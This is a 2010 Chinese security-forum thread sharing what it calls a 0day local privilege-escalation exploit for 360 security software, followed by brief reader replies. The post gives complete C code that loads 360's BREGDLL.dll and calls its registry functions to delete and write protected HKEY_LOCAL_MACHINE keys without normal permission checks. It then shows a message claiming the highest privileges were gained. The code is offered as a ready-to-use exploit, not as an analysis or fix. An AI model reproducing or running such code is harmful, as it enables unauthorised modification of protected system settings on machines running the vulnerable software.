首页
社区
课程
招聘
[旧帖] [分享]360本地提权EXP代码(0day) 0.00雪花
发表于: 2010-2-4 01:22 1497

[旧帖] [分享]360本地提权EXP代码(0day) 0.00雪花

2010-2-4 01:22
1497
360本地提权EXP代码(0day)

#include <windows.h>
typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_Delete_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);

BREG_Delete_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;

#define AppPath                        "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"

#define TestDeleteKey             HKEY_LOCAL_MACHINE
#define TestDeleteRegPath    "Software\\360Safe\\Update"

#define TestSetKey                   HKEY_LOCAL_MACHINE
#define TestSetPath                  "Software\\360Safe"

BOOL InitBRegDll()
{
         LONG lResult;
         HKEY hKey;

         CHAR cPath[MAX_PATH + 32] = { 0 };
         DWORD dwPathLen = MAX_PATH;

         lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);
         if (FAILED(lResult))
                  return FALSE;

         DWORD dwType = REG_SZ;
         lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen);
         RegCloseKey(hKey);
         if (FAILED(lResult))
                  return FALSE;

         strcat(cPath, "\\deepscan\\BREGDLL.dll");

         HMODULE modBReg = LoadLibraryA(cPath);
         if (!modBReg)
                  return FALSE;

         INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");
         BRegDeleteKey = (BREG_Delete_KEY)GetProcAddress(modBReg, "BRegDeleteKey");
         BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");
         BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");
         BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");

         if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {
                  FreeLibrary(modBReg);
                  return FALSE;
         }

         if (!InitRegEngine()) {
                  FreeLibrary(modBReg);
                  return FALSE;
         }

         return TRUE;
}

LONG TestSetRegKey()
{
         HKEY hKey;
         LONG lResult;

         lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);
         if (FAILED(lResult))
                  return lResult;

         DWORD dwType = REG_SZ;
         static char szData[] = "TEST VALUE";
         lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));
         BRegCloseKey(hKey);

         return lResult;
}

int main(int argc, char *argv[])
{
         if (!InitBRegDll()) {
                  MessageBoxA(NULL, "初始化BReg失败!", "失败", MB_ICONSTOP);
                  return 1;

         }
         if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {
                  MessageBoxA(NULL, "键值删除失败!", "失败", MB_ICONSTOP);
                  return 2;

         }

         if (FAILED(TestSetRegKey())) {
                  MessageBoxA(NULL, "设置键值失败!", "失败", MB_ICONSTOP);
                  return 3;
         }

         MessageBoxA(NULL, "突破系统安全检查,获得最高权限,漏洞利用成功!", "成功", MB_OK);
         return 0;
}

视频观看

[embed src="http://www.56.com/n_v166_/c49_/24_/29_/piaoxuyiran_/12650897859hd_/321000_/0_/49337646.swf"  type="application/x-shockwave-flash" width="480" height="395"][/embed]

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (6)
雪    币: 30
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
关注当中,测试测试
2010-2-4 07:51
0
雪    币: 103
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
呵呵,看看,你的这些还是很复杂,我看不懂!
2010-2-4 10:12
0
雪    币: 5
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
呵呵 看是看不懂啊  呵呵
2010-2-4 10:20
0
雪    币: 48
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
请解释一下那个dll是什么,提权?在哪里提了权
2010-2-4 13:11
0
雪    币: 6
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
学习。。。。。。
2010-2-26 18:35
0
雪    币: 78
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7






2010-2-27 08:41
0
游客
登录 | 注册 方可回帖
返回
//